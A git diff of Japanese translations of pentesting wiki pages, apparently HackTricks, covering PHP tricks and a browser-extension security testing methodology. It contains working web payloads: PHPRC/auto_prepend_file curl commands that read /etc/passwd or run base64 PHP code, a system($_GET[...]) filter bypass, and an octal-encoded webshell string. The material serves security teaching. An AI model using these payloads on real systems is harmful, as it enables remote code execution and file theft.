PHPで**環境変数を変更する**ことを許可する脆弱性を見つけた場合(ファイルをアップロードするための別の脆弱性も必要ですが、さらに調査すれば回避できるかもしれません)、この動作を悪用して**RCE**を取得できます。
|
||||||
|
|
||||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): この環境変数は、他のバイナリを実行する際に任意のライブラリを読み込むことを許可します(ただし、この場合は機能しないかもしれません)。
|
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): この環境変数は、他のバイナリを実行する際に任意のライブラリを読み込むことを許可します(ただし、この場合は機能しないかもしれません)。
|
||||||
- **`PHPRC`** : PHPに**設定ファイルの場所**を指示します。通常は`php.ini`と呼ばれます。独自の設定ファイルをアップロードできる場合、`PHPRC`を使用してPHPにそれを指し示します。2番目のアップロードファイルを指定する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれ、PHPランタイムによって他のコードの前に実行されます**。
|
- **`PHPRC`**: PHPに**設定ファイルの場所**を指示します。通常は`php.ini`と呼ばれます。独自の設定ファイルをアップロードできる場合は、`PHPRC`を使用してPHPにそれを指し示します。2番目のアップロードファイルを指定する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれており、他のコードの前にPHPランタイムによって実行されます**。
|
||||||
1. シェルコードを含むPHPファイルをアップロードします。
|
1. シェルコードを含むPHPファイルをアップロードします。
|
||||||
2. ステップ1でアップロードしたファイルを実行するようPHPプリプロセッサに指示する**`auto_prepend_file`**ディレクティブを含む2番目のファイルをアップロードします。
|
2. 1ステップでアップロードしたファイルを実行するようにPHPプリプロセッサに指示する**`auto_prepend_file`**ディレクティブを含む2番目のファイルをアップロードします。
|
||||||
3. ステップ2でアップロードしたファイルに`PHPRC`変数を設定します。
|
3. `PHPRC`変数を2ステップでアップロードしたファイルに設定します。
|
||||||
- このチェーンを実行する方法についての詳細は[**元のレポートから**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)取得できます。
|
- このチェーンを実行する方法についての詳細は[**元のレポートから**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)取得できます。
|
||||||
- **PHPRC** - 別のオプション
|
- **PHPRC** - 別のオプション
|
||||||
- **ファイルをアップロードできない**場合、FreeBSDでは**`stdin`**を含む"ファイル" `/dev/fd/0`を使用できます:
|
- **ファイルをアップロードできない**場合、FreeBSDでは**`stdin`**を含む"ファイル" `/dev/fd/0`を使用できます。これは、`stdin`に送信されたリクエストの**本体**です:
|
||||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||||
- またはRCEを取得するために、**`allow_url_include`**を有効にし、**base64 PHPコード**を含むファイルを前置きします:
|
- またはRCEを取得するために、**`allow_url_include`**を有効にし、**base64 PHPコード**を含むファイルを前置きします:
|
||||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||||
- この技術は[**このレポートから**](https://vulncheck.com/blog/juniper-cve-2023-36845)です。
|
- 技術は[**このレポートから**](https://vulncheck.com/blog/juniper-cve-2023-36845)です。
|
||||||
|
|
||||||
### XAMPP CGI RCE - CVE-2024-4577
|
### XAMPP CGI RCE - CVE-2024-4577
|
||||||
|
|
||||||
@ -310,7 +311,7 @@ phpinfo();
|
|||||||
## PHP サニタイズバイパス & Brain Fuck
|
## PHP サニタイズバイパス & Brain Fuck
|
||||||
|
|
||||||
[**この投稿では**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 非常に少ない文字で許可される brain fuck PHP コードを生成するための素晴らしいアイデアを見つけることができます。\
|
[**この投稿では**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 非常に少ない文字で許可される brain fuck PHP コードを生成するための素晴らしいアイデアを見つけることができます。\
|
||||||
さらに、いくつかのチェックをバイパスすることを可能にする関数を実行する興味深い方法も提案されています:
|
さらに、いくつかのチェックをバイパスすることを可能にする関数を実行するための興味深い方法も提案されています:
|
||||||
```php
|
```php
|
||||||
(1)->{system($_GET[chr(97)])}
|
(1)->{system($_GET[chr(97)])}
|
||||||
```
|
```
|
||||||
@ -330,7 +331,7 @@ PHPアプリケーションをデバッグしている場合は、`/etc/php5/apa
|
|||||||
|
|
||||||
## PHPラッパーとプロトコル
|
## PHPラッパーとプロトコル
|
||||||
|
|
||||||
PHPラッパーとプロトコルは、システム内の**書き込みおよび読み取り保護をバイパス**し、システムを危険にさらすことができます。 [**詳細についてはこのページを確認してください**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols)。
|
PHPラッパーとプロトコルは、システム内の**書き込みおよび読み取り保護をバイパス**し、妥協することを可能にする場合があります。 [**詳細についてはこのページを確認してください**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols)。
|
||||||
|
|
||||||
## Xdebugの認証されていないRCE
|
## Xdebugの認証されていないRCE
|
||||||
|
|
||||||
@ -350,17 +351,17 @@ echo "$x ${Da}"; //Da Drums
|
|||||||
```
|
```
|
||||||
## RCEを利用した新しい $\_GET\["a"]\($\_GET\["b"])
|
## RCEを利用した新しい $\_GET\["a"]\($\_GET\["b"])
|
||||||
|
|
||||||
ページ内で**任意のクラスの新しいオブジェクトを作成**できる場合、RCEを取得できる可能性があります。方法を学ぶには以下のページを確認してください:
|
ページ内で**任意のクラスの新しいオブジェクトを作成できる**場合、RCEを取得できる可能性があります。方法を学ぶには以下のページを確認してください:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
|
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## 文字なしでPHPを実行
|
## 文字なしでPHPを実行する
|
||||||
|
|
||||||
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
|
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
|
||||||
|
|
||||||
### 8進数を使用して
|
### 8進数を使用する
|
||||||
```php
|
```php
|
||||||
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
||||||
```
|
```
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
# ブラウザ拡張機能のペンテスト方法論
|
# ブラウザ拡張機能のペンテスト手法
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -31,11 +31,11 @@
|
|||||||
|
|
||||||
拡張機能の各コンポーネントは、**強力な保護境界**によって互いに分離されています。各コンポーネントは**別々のオペレーティングシステムプロセス**で実行されます。コンテンツスクリプトと拡張機能コアは、ほとんどのオペレーティングシステムサービスに利用できない**サンドボックスプロセス**で実行されます。
|
拡張機能の各コンポーネントは、**強力な保護境界**によって互いに分離されています。各コンポーネントは**別々のオペレーティングシステムプロセス**で実行されます。コンテンツスクリプトと拡張機能コアは、ほとんどのオペレーティングシステムサービスに利用できない**サンドボックスプロセス**で実行されます。
|
||||||
|
|
||||||
さらに、コンテンツスクリプトは**別のJavaScriptヒープ**で実行されることにより、関連するウェブページから分離されています。コンテンツスクリプトとウェブページは**同じ基盤となるDOM**にアクセスできますが、2つは**JavaScriptポインタを交換することは決してありません**。これにより、JavaScript機能の漏洩が防止されます。
|
さらに、コンテンツスクリプトは**別のJavaScriptヒープ**で実行されることによって、関連するウェブページから分離されています。コンテンツスクリプトとウェブページは**同じ基盤となるDOM**にアクセスできますが、2つは**JavaScriptポインタを交換することは決してありません**。これにより、JavaScript機能の漏洩が防止されます。
|
||||||
|
|
||||||
## **`manifest.json`**
|
## **`manifest.json`**
|
||||||
|
|
||||||
Chrome拡張機能は、単に[.crxファイル拡張子](https://www.lifewire.com/crx-file-2620391)を持つZIPフォルダーです。拡張機能のコアは、フォルダーのルートにある**`manifest.json`**ファイルで、レイアウト、権限、およびその他の設定オプションを指定します。
|
Chrome拡張機能は、単に[.crxファイル拡張子](https://www.lifewire.com/crx-file-2620391)を持つZIPフォルダーです。拡張機能のコアは、フォルダーのルートにある**`manifest.json`**ファイルで、レイアウト、権限、その他の設定オプションを指定します。
|
||||||
|
|
||||||
例:
|
例:
|
||||||
```json
|
```json
|
||||||
@ -61,7 +61,7 @@ Chrome拡張機能は、単に[.crxファイル拡張子](https://www.lifewire.c
|
|||||||
```
|
```
|
||||||
### `content_scripts`
|
### `content_scripts`
|
||||||
|
|
||||||
コンテンツスクリプトは、ユーザーが**一致するページに移動する**たびに**読み込まれ**、この場合は**`https://example.com/*`**式に一致し、**`*://*/*/business*`**正規表現に一致しない任意のページです。これらは**ページ自身のスクリプトのように実行され**、ページの[Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)に対して任意のアクセス権を持っています。
|
Content scriptsは、ユーザーが**一致するページに移動する**たびに**読み込まれ**、この場合は**`https://example.com/*`**式に一致し、**`*://*/*/business*`**正規表現に一致しない任意のページです。これらは**ページ自身のスクリプトのように実行され**、ページの[Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)に対して任意のアクセス権を持っています。
|
||||||
```json
|
```json
|
||||||
"content_scripts": [
|
"content_scripts": [
|
||||||
{
|
{
|
||||||
@ -91,7 +91,7 @@ document.body.appendChild(div)
|
|||||||
```
|
```
|
||||||
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
このボタンがクリックされると、コンテンツスクリプトによって拡張ページにメッセージが送信されます。これは、[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)を利用することによります。コンテンツスクリプトはAPIへの直接アクセスに制限があり、`storage`が数少ない例外の一つです。これらの例外を超える機能については、コンテンツスクリプトが通信できる拡張ページにメッセージが送信されます。
|
このボタンがクリックされると、コンテンツスクリプトによって拡張ページにメッセージが送信されます。これは、[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)を利用することによります。コンテンツスクリプトはAPIへの直接アクセスに制限があり、`storage`が数少ない例外の一つです。これらの例外を超える機能については、メッセージが拡張ページに送信され、コンテンツスクリプトが通信できるようになります。
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> ブラウザによって、コンテンツスクリプトの機能は若干異なる場合があります。Chromiumベースのブラウザの場合、機能リストは[Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)で入手可能で、Firefoxの場合は[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)が主な情報源となります。\
|
> ブラウザによって、コンテンツスクリプトの機能は若干異なる場合があります。Chromiumベースのブラウザの場合、機能リストは[Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)で入手可能で、Firefoxの場合は[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)が主な情報源となります。\
|
||||||
@ -208,7 +208,7 @@ js: ["contentScript.js"],
|
|||||||
```
|
```
|
||||||
### `background`
|
### `background`
|
||||||
|
|
||||||
コンテンツスクリプトによって送信されたメッセージは、**background page**によって受信され、拡張機能のコンポーネントを調整する中心的な役割を果たします。特に、background pageは拡張機能のライフタイムを通じて持続し、直接的なユーザーの操作なしに静かに動作します。独自のDocument Object Model (DOM)を持ち、複雑な相互作用と状態管理を可能にします。
|
コンテンツスクリプトによって送信されたメッセージは、**background page**によって受信され、拡張機能のコンポーネントを調整する中心的な役割を果たします。特に、background pageは拡張機能のライフタイム全体にわたって持続し、直接的なユーザーの操作なしに静かに動作します。独自のDocument Object Model (DOM)を持ち、複雑な相互作用と状態管理を可能にします。
|
||||||
|
|
||||||
**重要なポイント**:
|
**重要なポイント**:
|
||||||
|
|
||||||
@ -217,7 +217,7 @@ js: ["contentScript.js"],
|
|||||||
- **自動生成:** 明示的に定義されていない場合、ブラウザは自動的にbackground pageを作成します。この自動生成されたページには、拡張機能のマニフェストに指定されたすべてのバックグラウンドスクリプトが含まれ、拡張機能のバックグラウンドタスクのシームレスな操作を確保します。
|
- **自動生成:** 明示的に定義されていない場合、ブラウザは自動的にbackground pageを作成します。この自動生成されたページには、拡張機能のマニフェストに指定されたすべてのバックグラウンドスクリプトが含まれ、拡張機能のバックグラウンドタスクのシームレスな操作を確保します。
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> 明示的に宣言されていない場合にブラウザがbackground pageを自動生成することによって提供される便利さは、すべての必要なバックグラウンドスクリプトが統合され、機能することを保証し、拡張機能のセットアッププロセスを簡素化します。
|
> 明示的に宣言されていない場合にブラウザがbackground pageを自動生成することによって提供される便利さは、すべての必要なバックグラウンドスクリプトが統合され、動作することを保証し、拡張機能のセットアッププロセスを簡素化します。
|
||||||
|
|
||||||
Example background script:
|
Example background script:
|
||||||
```js
|
```js
|
||||||
@ -227,7 +227,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
|
|||||||
}
|
}
|
||||||
})
|
})
|
||||||
```
|
```
|
||||||
それは、メッセージをリッスンするために [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) を使用します。`"explain"` メッセージを受信すると、[tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) を使用して新しいタブでページを開きます。
|
それは、メッセージをリッスンするために [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) を使用します。 `"explain"` メッセージを受信すると、[tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) を使用して新しいタブでページを開きます。
|
||||||
|
|
||||||
バックグラウンドスクリプトをデバッグするには、**拡張機能の詳細に移動してサービスワーカーを検査**することができます。これにより、バックグラウンドスクリプトを含む開発者ツールが開きます:
|
バックグラウンドスクリプトをデバッグするには、**拡張機能の詳細に移動してサービスワーカーを検査**することができます。これにより、バックグラウンドスクリプトを含む開発者ツールが開きます:
|
||||||
|
|
||||||
@ -237,13 +237,13 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
|
|||||||
|
|
||||||
ブラウザ拡張機能にはさまざまな種類のページが含まれることがあります:
|
ブラウザ拡張機能にはさまざまな種類のページが含まれることがあります:
|
||||||
|
|
||||||
- **アクションページ**は、**拡張機能のアイコン**がクリックされたときにドロップダウンで表示されます。
|
- **アクションページ**は、拡張機能のアイコンがクリックされたときに**ドロップダウンに表示**されます。
|
||||||
- 拡張機能が**新しいタブで読み込む**ページ。
|
- 拡張機能が**新しいタブで読み込む**ページ。
|
||||||
- **オプションページ**:このページは、クリックすると拡張機能の上に表示されます。前のマニフェストでは、`chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` でこのページにアクセスできました。または、クリックすることで:
|
- **オプションページ**:このページは、クリックすると拡張機能の上に表示されます。前のマニフェストでは、`chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` にアクセスするか、次のようにクリックすることでこのページにアクセスできました:
|
||||||
|
|
||||||
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
これらのページは、必要に応じて動的にコンテンツを読み込むため、バックグラウンドページのように永続的ではないことに注意してください。それにもかかわらず、これらはバックグラウンドページと特定の機能を共有しています:
|
これらのページは、必要に応じて動的にコンテンツを読み込むため、バックグラウンドページのように永続的ではないことに注意してください。それにもかかわらず、これらはバックグラウンドページと特定の機能を共有します:
|
||||||
|
|
||||||
- **コンテンツスクリプトとの通信**:バックグラウンドページと同様に、これらのページはコンテンツスクリプトからメッセージを受信でき、拡張機能内での相互作用を促進します。
|
- **コンテンツスクリプトとの通信**:バックグラウンドページと同様に、これらのページはコンテンツスクリプトからメッセージを受信でき、拡張機能内での相互作用を促進します。
|
||||||
- **拡張機能固有のAPIへのアクセス**:これらのページは、拡張機能に定義された権限に従って、拡張機能固有のAPIへの包括的なアクセスを享受します。
|
- **拡張機能固有のAPIへのアクセス**:これらのページは、拡張機能に定義された権限に従って、拡張機能固有のAPIへの包括的なアクセスを享受します。
|
||||||
@ -268,7 +268,7 @@ browext-permissions-and-host_permissions.md
|
|||||||
```bash
|
```bash
|
||||||
script-src 'self'; object-src 'self';
|
script-src 'self'; object-src 'self';
|
||||||
```
|
```
|
||||||
CSPや潜在的なバイパスに関する詳細情報は、次を確認してください:
|
CSPおよび潜在的なバイパスに関する詳細は、次を確認してください:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../content-security-policy-csp-bypass/
|
../content-security-policy-csp-bypass/
|
||||||
@ -314,7 +314,7 @@ browext-clickjacking.md
|
|||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> これらのページが拡張機能によってのみ読み込まれ、ランダムなURLによっては読み込まれないようにすることで、ClickJacking攻撃を防ぐことができます。
|
> これらのページが拡張機能によってのみ読み込まれ、ランダムなURLによって読み込まれないようにすることで、ClickJacking攻撃を防ぐことができます。
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> **`web_accessible_resources`**からのページや拡張機能の他のページも**バックグラウンドスクリプトに連絡する**ことができることに注意してください。したがって、これらのページのいずれかが**XSS**に対して脆弱である場合、より大きな脆弱性を引き起こす可能性があります。
|
> **`web_accessible_resources`**からのページや拡張機能の他のページも**バックグラウンドスクリプトに連絡する**ことができることに注意してください。したがって、これらのページのいずれかが**XSS**に対して脆弱である場合、より大きな脆弱性を引き起こす可能性があります。
|
||||||
@ -323,7 +323,7 @@ browext-clickjacking.md
|
|||||||
|
|
||||||
### `externally_connectable`
|
### `externally_connectable`
|
||||||
|
|
||||||
[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)によると、`"externally_connectable"`マニフェストプロパティは、**どの拡張機能とウェブページがあなたの拡張機能に接続できるか**を宣言します。これは[runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect)および[runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)を介して行われます。
|
[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)によると、`"externally_connectable"`マニフェストプロパティは、**どの拡張機能とウェブページがあなたの拡張機能に接続できるか**を宣言します。[runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect)および[runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)を介して接続します。
|
||||||
|
|
||||||
- **`externally_connectable`**キーが拡張機能のマニフェストに**宣言されていない**場合、または**`"ids": ["*"]`**として宣言されている場合、**すべての拡張機能が接続できますが、ウェブページは接続できません**。
|
- **`externally_connectable`**キーが拡張機能のマニフェストに**宣言されていない**場合、または**`"ids": ["*"]`**として宣言されている場合、**すべての拡張機能が接続できますが、ウェブページは接続できません**。
|
||||||
- **特定のIDが指定されている**場合、例えば`"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`のように、**そのアプリケーションのみ**が接続できます。
|
- **特定のIDが指定されている**場合、例えば`"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`のように、**そのアプリケーションのみ**が接続できます。
|
||||||
@ -338,21 +338,21 @@ browext-clickjacking.md
|
|||||||
ここで示されている **拡張機能とURL** が少ないほど、**攻撃面は小さく**なります。
|
ここで示されている **拡張機能とURL** が少ないほど、**攻撃面は小さく**なります。
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> **`externally_connectable`** に **XSSまたはテイクオーバーに脆弱なウェブページ** が示されている場合、攻撃者は **バックグラウンドスクリプトに直接メッセージを送信** でき、コンテンツスクリプトとそのCSPを完全にバイパスすることができます。
|
> **`externally_connectable`** に **XSSまたはテイクオーバーに脆弱なウェブページ** が示されている場合、攻撃者は **バックグラウンドスクリプトに直接メッセージを送信**でき、コンテンツスクリプトとそのCSPを完全にバイパスできます。
|
||||||
>
|
>
|
||||||
> したがって、これは **非常に強力なバイパス** です。
|
> したがって、これは **非常に強力なバイパス** です。
|
||||||
>
|
>
|
||||||
> さらに、クライアントが不正な拡張機能をインストールした場合、たとえそれが脆弱な拡張機能と通信することが許可されていなくても、**許可されたウェブページにXSSデータを注入** したり、**`WebRequest`** または **`DeclarativeNetRequest`** APIを悪用して、ターゲットドメインのリクエストを操作し、ページの **JavaScriptファイル** のリクエストを変更することができます。(ターゲットページのCSPがこれらの攻撃を防ぐ可能性があることに注意してください)。このアイデアは [**この書き込みから**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) 来ています。
|
> さらに、クライアントが不正な拡張機能をインストールした場合、脆弱な拡張機能との通信が許可されていなくても、**許可されたウェブページにXSSデータを注入**したり、**`WebRequest`** または **`DeclarativeNetRequest`** APIを悪用して、ターゲットドメインのリクエストを操作し、ページの **JavaScriptファイル** のリクエストを変更することができます。(ターゲットページのCSPがこれらの攻撃を防ぐ可能性があることに注意してください)。このアイデアは [**この書き込みから**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) 来ています。
|
||||||
|
|
||||||
## コミュニケーションの概要
|
## コミュニケーションの概要
|
||||||
|
|
||||||
### 拡張機能 <--> ウェブアプリ
|
### 拡張機能 <--> ウェブアプリ
|
||||||
|
|
||||||
コンテンツスクリプトとウェブページ間で通信するために、通常はポストメッセージが使用されます。したがって、ウェブアプリケーションでは通常 **`window.postMessage`** 関数への呼び出しが見られ、コンテンツスクリプトでは **`window.addEventListener`** のようなリスナーが見られます。ただし、拡張機能は **ポストメッセージを送信してウェブアプリケーションと通信** することもでき(したがってウェブはそれを期待する必要があります)、単にウェブに新しいスクリプトを読み込ませることもできます。
|
コンテンツスクリプトとウェブページ間で通信するために、通常はポストメッセージが使用されます。したがって、ウェブアプリケーションでは通常 **`window.postMessage`** 関数への呼び出しが見られ、コンテンツスクリプトでは **`window.addEventListener`** のようなリスナーが見られます。ただし、拡張機能は **ポストメッセージを送信してウェブアプリケーションと通信** することもできるため、ウェブはそれを期待する必要があります。または、単にウェブに新しいスクリプトを読み込ませることもできます。
|
||||||
|
|
||||||
### 拡張機能内
|
### 拡張機能内
|
||||||
|
|
||||||
通常、**`chrome.runtime.sendMessage`** 関数が拡張機能内でメッセージを送信するために使用され(通常は `background` スクリプトによって処理されます)、それを受信して処理するためにリスナーが **`chrome.runtime.onMessage.addListener`** を呼び出して宣言されます。
|
通常、**`chrome.runtime.sendMessage`** 関数が拡張機能内でメッセージを送信するために使用され(通常は `background` スクリプトによって処理されます)、受信して処理するためにリスナーが **`chrome.runtime.onMessage.addListener`** を呼び出して宣言されます。
|
||||||
|
|
||||||
**`chrome.runtime.connect()`** を使用して、単一のメッセージを送信する代わりに持続的な接続を持つことも可能で、次の例のように **メッセージを送信** および **受信** するために使用できます。
|
**`chrome.runtime.connect()`** を使用して、単一のメッセージを送信する代わりに持続的な接続を持つことも可能で、次の例のように **メッセージを送信** および **受信** するために使用できます。
|
||||||
|
|
||||||
@ -397,7 +397,7 @@ console.log("Content script received message from background script:", msg)
|
|||||||
```javascript
|
```javascript
|
||||||
chrome.runtime.sendMessage(extensionId, ...
|
chrome.runtime.sendMessage(extensionId, ...
|
||||||
```
|
```
|
||||||
必要な場合は、**拡張ID**を言及する必要があります。
|
必要な場合は**拡張ID**を言及してください。
|
||||||
|
|
||||||
### ネイティブメッセージング
|
### ネイティブメッセージング
|
||||||
|
|
||||||
@ -413,7 +413,7 @@ console.log("Received " + response)
|
|||||||
```
|
```
|
||||||
## Web **↔︎** Content Script Communication
|
## Web **↔︎** Content Script Communication
|
||||||
|
|
||||||
**content scripts**が動作する環境とホストページが存在する環境は**分離**されており、**隔離**が確保されています。この隔離にもかかわらず、両者はページの**Document Object Model (DOM)**、つまり共有リソースと相互作用する能力を持っています。ホストページが**content script**と通信するため、またはcontent scriptを介して拡張機能と間接的に通信するためには、両者がアクセス可能な**DOM**を通信チャネルとして利用する必要があります。
|
**コンテンツスクリプト**が動作する環境とホストページが存在する環境は**分離**されており、**隔離**が確保されています。この隔離にもかかわらず、両者はページの**ドキュメントオブジェクトモデル (DOM)**、つまり共有リソースと相互作用する能力を持っています。ホストページが**コンテンツスクリプト**と通信するため、またはコンテンツスクリプトを介して拡張機能と間接的に通信するためには、両者がアクセス可能な**DOM**を通信チャネルとして利用する必要があります。
|
||||||
|
|
||||||
### Post Messages
|
### Post Messages
|
||||||
```javascript:content-script.js
|
```javascript:content-script.js
|
||||||
@ -454,7 +454,7 @@ false
|
|||||||
|
|
||||||
- **`event.isTrusted`**: これは、イベントがユーザーのアクションによってトリガーされた場合にのみTrueになります。
|
- **`event.isTrusted`**: これは、イベントがユーザーのアクションによってトリガーされた場合にのみTrueになります。
|
||||||
- コンテンツスクリプトは、ユーザーが何らかのアクションを実行した場合にのみメッセージを期待するかもしれません。
|
- コンテンツスクリプトは、ユーザーが何らかのアクションを実行した場合にのみメッセージを期待するかもしれません。
|
||||||
- **origin domain**: メッセージを期待する場合は、許可リストのドメインのみを許可するかもしれません。
|
- **origin domain**: メッセージを期待する場合は、許可リストのドメインのみを許可する必要があります。
|
||||||
- 正規表現が使用される場合は、非常に注意が必要です。
|
- 正規表現が使用される場合は、非常に注意が必要です。
|
||||||
- **Source**: `received_message.source !== window`を使用して、メッセージが**コンテンツスクリプトがリスニングしている同じウィンドウ**からのものであるかどうかを確認できます。
|
- **Source**: `received_message.source !== window`を使用して、メッセージが**コンテンツスクリプトがリスニングしている同じウィンドウ**からのものであるかどうかを確認できます。
|
||||||
|
|
||||||
@ -474,7 +474,7 @@ browext-xss-example.md
|
|||||||
|
|
||||||
### DOM
|
### DOM
|
||||||
|
|
||||||
これは「正確に」通信方法ではありませんが、**ウェブとコンテンツスクリプトはウェブDOMにアクセスできます**。したがって、**コンテンツスクリプト**がそこから情報を読み取っている場合、**ウェブDOMを信頼している**と、ウェブはこのデータを**変更する可能性があります**(ウェブは信頼されるべきではないため、またはウェブがXSSに脆弱であるため)し、**コンテンツスクリプトを危険にさらす**可能性があります。
|
これは「正確に」通信方法ではありませんが、**ウェブとコンテンツスクリプトはウェブDOMにアクセスできます**。したがって、**コンテンツスクリプト**がそこから情報を読み取っている場合、**ウェブDOMを信頼している**と、ウェブはこのデータを**変更する可能性があります**(ウェブは信頼されるべきではないため、またはウェブがXSSに対して脆弱であるため)し、**コンテンツスクリプトを危険にさらす**可能性があります。
|
||||||
|
|
||||||
**DOMベースのXSSを使用してブラウザ拡張を危険にさらす**例も以下にあります:
|
**DOMベースのXSSを使用してブラウザ拡張を危険にさらす**例も以下にあります:
|
||||||
|
|
||||||
@ -529,7 +529,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
|||||||
|
|
||||||
## ネイティブメッセージング
|
## ネイティブメッセージング
|
||||||
|
|
||||||
ブラウザ拡張機能は、**stdinを介してシステム内のバイナリと通信することも可能です**。アプリケーションは、次のようなjsonを示すjsonをインストールする必要があります:
|
ブラウザ拡張機能は、**システム内のバイナリと stdin 経由で通信することも可能です**。アプリケーションは、次のような json を示す json をインストールする必要があります:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"name": "com.my_company.my_application",
|
"name": "com.my_company.my_application",
|
||||||
@ -575,7 +575,7 @@ console.log("Received " + response)
|
|||||||
|
|
||||||
ブラウザからメモリをダンプするには、**プロセスメモリをダンプ**するか、ブラウザ拡張機能の**設定**に行き、**`Inspect pop-up`**をクリック -> **`Memory`**セクション -> **`Take a snapshot`**を選択し、**`CTRL+F`**でスナップショット内の機密情報を検索します。
|
ブラウザからメモリをダンプするには、**プロセスメモリをダンプ**するか、ブラウザ拡張機能の**設定**に行き、**`Inspect pop-up`**をクリック -> **`Memory`**セクション -> **`Take a snapshot`**を選択し、**`CTRL+F`**でスナップショット内の機密情報を検索します。
|
||||||
|
|
||||||
さらに、ニーモニックキーやパスワードのような非常に機密性の高い情報は、**クリップボードにコピーされることを許可すべきではありません**(または少なくとも数秒以内にクリップボードから削除するべきです)なぜなら、クリップボードを監視しているプロセスがそれらを取得できるからです。
|
さらに、ニーモニックキーやパスワードのような非常に機密性の高い情報は、**クリップボードにコピーされることを許可すべきではありません**(または少なくとも数秒以内にクリップボードから削除するべきです)なぜなら、その後クリップボードを監視しているプロセスがそれらを取得できるからです。
|
||||||
|
|
||||||
## ブラウザに拡張機能を読み込む
|
## ブラウザに拡張機能を読み込む
|
||||||
|
|
||||||
@ -612,26 +612,26 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
|||||||
|
|
||||||
